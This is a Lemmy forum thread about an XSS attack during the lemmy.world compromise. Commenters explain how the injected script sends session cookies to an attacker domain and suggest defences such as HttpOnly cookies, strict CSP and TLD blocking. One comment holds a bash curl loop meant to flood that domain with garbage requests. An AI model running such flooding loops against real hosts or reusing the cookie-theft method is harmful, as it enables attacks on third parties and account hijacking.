this post was submitted on 10 Jul 2023
39 points (100.0% liked)

Asklemmy

1454 readers
60 users here now

A loosely moderated place to ask open-ended questions

Search asklemmy πŸ”

If your post meets the following criteria, it's welcome here!

  1. Open-ended question
  2. Not offensive: at this point, we do not have the bandwidth to moderate overtly political discussions. Assume best intent and be excellent to each other.
  3. Not regarding using or support for Lemmy: context, see the list of support communities and tools for finding communities below
  4. Not ad nauseam inducing: please make sure it is a question that would be new to most members
  5. An actual topic of discussion

Looking for support?

Looking for a community?

~Icon~ ~by~ ~@Double_A@discuss.tchncs.de~

founded 5 years ago
MODERATORS
 

Are they just an issue with wefwef or trying to use an exploit

top 40 comments
sorted by: hot top controversial new old
[–] malloc@programming.dev 22 points 1 year ago (4 children)

Lemmy.world instance under attack right now. It was previously redirecting to πŸ‹ πŸŽ‰ and the title and side bar changed to antisemitic trash.

They supposedly attributed it to a hacked admin account and was corrected. But the instance is still showing as defaced and now the page just shows it was β€œseized by reddit”.

Seems like there is much more going on right now and the attackers have much more than a single admin account.

[–] malloc@programming.dev 4 points 1 year ago (1 children)

I just want to add a quick note:

From OPs screenshot, I noticed the JS code is attempting to extract the session cookie from the users that click on the link. If it’s successful, it attempts to exfiltrate to some server otherwise sends an empty value.

You can see the attacker/spammer obscures the url of the server using JS api as well.

May be how lemmy.world attackers have had access for a lengthy period of time. Attackers have been hijacking sessions of admins. The one compromised user opened up the flood gates.

Not a sec engineer, so maybe someone else can chime in.

[–] Gellis12@lemmy.ca 3 points 1 year ago (2 children)

Here's a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It'll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

[–] Kangie@lemmy.srcfiles.zip 2 points 1 year ago (1 children)

Try

while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64) > /dev/null ; sleep 1; done

It'll prevent you from having to see the drivel that curl returns from that site.

[–] Gellis12@lemmy.ca 1 points 1 year ago

Oh weird, it wasn't returning anything a few minutes ago. I wonder if we pissed then off lol

[–] milicent_bystandr@lemmy.ml 0 points 1 year ago (1 children)

Why would you include your hostname in the hash? That just sounds like an invitations for a mistake to leak semi-private telemetry data.

Come to think of it.... Isn't obscured telemetry exactly what your suggestion is doing? If they get or guess your hostname by other means, then they have a nice timestamped request from you, signed with your hostname, every second

[–] Gellis12@lemmy.ca 1 points 1 year ago

It's essentially to add a unique salt to each machine that's doing this, otherwise they'd all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it's very unlikely they'd even try to crack one. But even if they did try and were successful, there isn't really anything nefarious they can do with your machines local name.

[–] RoundSparrow@lemmy.ml 3 points 1 year ago (1 children)
[–] jellyfish 1 points 1 year ago

Oh no, not blahaj :(

[–] Cmot_Dibbler@lemmy.ml 1 points 1 year ago

Lemon party... Truly the fediverse is bringing us back to the golden age of the internet.

[–] Wahots@pawb.social 0 points 1 year ago (1 children)

Must be some boomer if they know what lemon party is, lmao. It's been a hot minute since lemon party, one man one jar, or two girls one cup were being talked about.

[–] Wxnzxn@lemmy.ml 1 points 1 year ago

Linking to lemonparty and saying "seized by reddit" strikes me as the playbook of an old 4chan troll/raid, trying to instigate more drama between two places they both hate at once.

[–] wetnoodle@lemmy.blahaj.zone 17 points 1 year ago (2 children)

idk for sure but people are saying lemmy.world got hacked maybe it has to do with that?

[–] Max_P@lemmy.max-p.me 11 points 1 year ago (1 children)

Definitely seems to be trying to exploit the same thing

[–] wetnoodle@lemmy.blahaj.zone 3 points 1 year ago* (last edited 1 year ago)

yeah after reading more of the post I linked it definitely looks like it

[–] tarjeezy@lemmy.ca 8 points 1 year ago (1 children)

The encoded string contains the URL zelensky dot zip. Zip is one of the newer top-level domains. It itself is not a zip file, but I am not going to visit that site to find out whatever treasures it has to offer..

[–] Dirk@lemmy.ml 2 points 1 year ago (2 children)

Another reason to block this TLD in the firewall solution.

[–] tarjeezy@lemmy.ca 2 points 1 year ago (1 children)

Yea I've got both .zip and .mov blocked on my pihole

[–] Snipe_AT@lemmy.atay.dev 1 points 1 year ago (1 children)

sorry i’m missing it. why this specific TLD? can’t they just use any TLD for this and achieve the same thing? is there something special with .mov?

[–] Thassar@lemmy.blahaj.zone 2 points 1 year ago

It's because it can cause confusion. The only difference between example.com/file.zip and example.com.file.zip is one uses a . and the other a / but both are valid domains. If somebody isn't paying much attention or they don't know much about domain names, they could click thinking to get a zip file from a legitimate site and end up going somewhere malicious instead. No other TLDs have this issue (well, I guess .com technically has it but who the hell is downloading and running com files these days) and they're pretty much exclusively used for this reason so it's a good idea to block them just to be safe.

[–] Snipe_AT@lemmy.atay.dev 0 points 1 year ago* (last edited 1 year ago) (1 children)

sorry i’m missing it. why this specific TLD? can’t they just use any TLD for this and achieve the same thing? why is this a reason to block it?

[–] Dirk@lemmy.ml 0 points 1 year ago (1 children)

Because .zip is a commonly used file extension.

[–] Snipe_AT@lemmy.atay.dev 0 points 1 year ago (1 children)

i think i understand that part but why is this specific event "another reason to block this TLD"? can’t they just use any TLD for this and achieve the same thing? is there another inherit security issue with .zip that doesn't exist with other domains?

[–] Dirk@lemmy.ml 0 points 1 year ago (1 children)

They can and they do. Using a commonly known and used file extension to β€œhide” a malicious URL is just easier.

https://www.youtube.com/watch?v=GCVJsz7EODA

[–] Snipe_AT@lemmy.atay.dev 0 points 1 year ago

gotcha ok i think i’m getting it. just to make sure i’m not missing anything, you’re saying that in this case it didn’t matter as in the end they could use any TLD and achieve the same effect.

but in general, threat actors hope to confuse people into thinking this β€œ.zip” TLDs are only referencing local files instead of web addresses. right?

[–] BrikoX@lemmy.zip 4 points 1 year ago

Clicking on it would run javascript on load (most browsers block it by default), but I would avoid clicking either way.

[–] LDRMS@lemmy.ml 2 points 1 year ago

Click on one of the links and find out. Don’t forget to let us all know what happened. /s🀣🀣

[–] nothendev@sopuli.xyz 2 points 1 year ago

if it has document.cookie in it - it is trying to steal your cookies, to use your account. that's a JavaScript link that, well, sends your account cookies to a random ass site.

[–] Granixo@feddit.cl 1 points 1 year ago

Spez's Revenge

[–] Tartas1995@discuss.tchncs.de 1 points 1 year ago* (last edited 1 year ago) (2 children)

Hey, I can tell you want it does. While I don't know if they try to download something too (while it really doesn't look like it), they are trying to steal your browser cookies.

I haven't removed the obfuscation yet as I am literally in bed but I can tell the general idea of the code.

Onload is a html attribute. Html attribute tell your browser more about what the browser should be doing. So basically onload is an instruction to your browser. By posting those comments, they try to run something called cross site scripting. Basically they want to run their code in your browser without them being the website owner. So now we know the intend of the post, let's look into the details.

Onload is an attribute that tells the browser to do something once it is fully loaded.

Fetch is a function that allows your browser to request additional information from the server. Endless scrolling would be done with that.

String.fromcharcode is just there to hide a little bit. Think of it as a fancy way to say a word. they are saying a website to connect to there.

Then document.cookie are your cookies for that website.

The next thing is probably your username or something.

So what does that mean? They try to make your browser execute their code when the website is onloaded. The code sends your cookies and your username(?) To a domain. They probably save the username and cookie and try to steal the account later.

You seeing the code is good evidence that your browser hasn't execute the code as the browser didn't understand it as code to be executed but code to display. So you are probably safe and don't need to worry

[–] Xylight@lemmy.xylight.dev 1 points 1 year ago (2 children)

Doesn't Lemmy use HttpOnly cookies? This would fix any js based exploit.

[–] Dirk@lemmy.ml 1 points 1 year ago (1 children)

Also, strict CSP would prevent it entirely.

[–] Xylight@lemmy.xylight.dev 0 points 1 year ago (1 children)

out of curiosity, what CSP options would fix this?

[–] Dirk@lemmy.ml 1 points 1 year ago

To prevent execution of scripts not referenced with the correct nonce:

script-src 'self' 'nonce-$RANDOM'

To make it super strict, this set could be used:

default-src 'self';
script-src 'nonce-$RANDOM'
object-src 'none';
base-uri 'none';
form-action 'none';
frame-ancestors 'none';
frame-src 'none';
require-trusted-types-for 'script'

Especially the last one might cause the most work, because the "modern web development environment" simply cannot provide this. Also: form-action 'none'; should be validated. It should be set to self if forms are actually used to send data to the server and not handled by Javascript.

The MDN has a good overview: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

[–] Tartas1995@discuss.tchncs.de 0 points 1 year ago (1 children)

I don't know what Lemmy uses tbh. I don't even know if the code would work when run. Like i don't know e.g. if they grab the username(?) correctly. I just understand their intentions but yeah their execution might be horrible.

[–] erre@feddit.win 0 points 1 year ago

I'd be willing to bet they're using the API to make all the changes. The cookie has the jwt token. I don't believe you need the username (at least judging by the js API docs).

[–] erre@feddit.win 1 points 1 year ago* (last edited 1 year ago) (1 children)

Looks like it's issuing a GET to https://zelensky.zip/save/{ENCODED_JWT_TOKEN_AND_NAV_FLAG}. The ENCODED_JWT_TOKEN is from btoa(document.cookie+nav_flag) where nav_flag is essentially 'navAdmin' if the account hit is an admin or '' if the user hit is not an admin (it checks if the admin button in the nav exists). Their server is likely logging all incoming requests and they just need to do a quick decoding to get jwt tokens and a flag telling them if it's an admin account.

I'd be hesitant to visit Lemmy on a browser atm πŸ˜“

[–] Supermariofan67@lemmy.fmhy.ml 2 points 1 year ago (1 children)

Sure enough, the .zip TLD is just being used for malicious activity

[–] Blizzard@lemmy.zip 1 points 1 year ago

Lemmy.zip is cool!

load more comments
view more: next β€Ί